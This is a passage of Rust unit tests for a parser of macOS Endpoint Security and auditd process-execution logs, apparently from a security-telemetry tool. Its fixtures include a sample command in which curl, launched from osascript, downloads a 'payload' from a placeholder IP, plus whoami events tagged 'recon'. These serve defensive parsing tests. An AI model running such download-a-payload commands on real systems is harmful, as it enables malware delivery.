1290 let ingest = parse(&fixture("esf-exec.jsonl"), Format::Esf).expect("parses");
1291 let curl = &ingest.observations[0];
1294 assert_eq!(curl.commands[0].program, "curl");
1295 assert_eq!(curl.raw, "curl -s -O http://192.0.2.10/payload");
1296 assert_eq!(
1297 curl.event.get("Image").map(String::as_str),
1298 Some("/usr/bin/curl")
1299 );
1300 assert_eq!(
1301 curl.event.get("CurrentDirectory").map(String::as_str),
1302 Some("/Users/analyst")
1303 );
1304 assert_eq!(
1306 curl.event.get("ParentImage").map(String::as_str),
1307 Some("/usr/bin/osascript")
1308 );
1309 }
1310
1311 #[test]
1312 fn esf_carries_code_signing_fields() {
1313 let ev = r#"{"event":{"exec":{"target":{
1316 "executable":{"path":"/tmp/curl"},
1317 "signing_id":"com.example.tool","team_id":"ABCDE12345","is_platform_binary":false},
1318 "args":["curl","http://x/y"]}},"process":{"executable":{"path":"/bin/zsh"}}}"#;
1319 let ingest = parse(ev, Format::Esf).expect("parses");
1320 let event = &ingest.observations[0].event;
1321 assert_eq!(
1322 event.get("signing_id").map(String::as_str),
1323 Some("com.example.tool")
1324 );
1325 assert_eq!(event.get("team_id").map(String::as_str), Some("ABCDE12345"));
1326 assert_eq!(
1327 event.get("is_platform_binary").map(String::as_str),
1328 Some("false")
1329 );
1330 }
1331
1332 #[test]
1333 fn auditd_carries_tty_and_key() {
1334 let log = "\
1335type=SYSCALL msg=audit(1.0:1): syscall=59 exe=\"/usr/bin/whoami\" tty=pts0 key=\"recon\"
1336type=EXECVE msg=audit(1.0:1): argc=1 a0=\"whoami\"
1337";
1338 let ingest = parse(log, Format::Auditd).expect("parses");
1339 let event = &ingest.observations[0].event;
1340 assert_eq!(event.get("tty").map(String::as_str), Some("pts0"));
1341 assert_eq!(event.get("key").map(String::as_str), Some("recon"));
1342 }
1343
1344 #[test]
1345 fn auditd_omits_placeholder_tty() {
1346 let log = "\
1348type=SYSCALL msg=audit(1.0:1): syscall=59 exe=\"/usr/bin/whoami\" tty=(none)
1349type=EXECVE msg=audit(1.0:1): argc=1 a0=\"whoami\"
1350";
1351 let ingest = parse(log, Format::Auditd).expect("parses");
1352 assert!(ingest.observations[0].event.get("tty").is_none());
1353 }
1354
1355 #[test]
1356 fn empty_esf_input_is_a_clear_error() {
1357 assert!(parse("", Format::Esf).is_err());
1358 let open = r#"{"event":{"open":{"file":{"path":"/x"}}}}"#;
1361 let ingest = parse(open, Format::Esf).expect("parses");
1362 assert_eq!(ingest.observations.len(), 0);
1363 assert_eq!(ingest.skipped, 1);
1364 }
1365}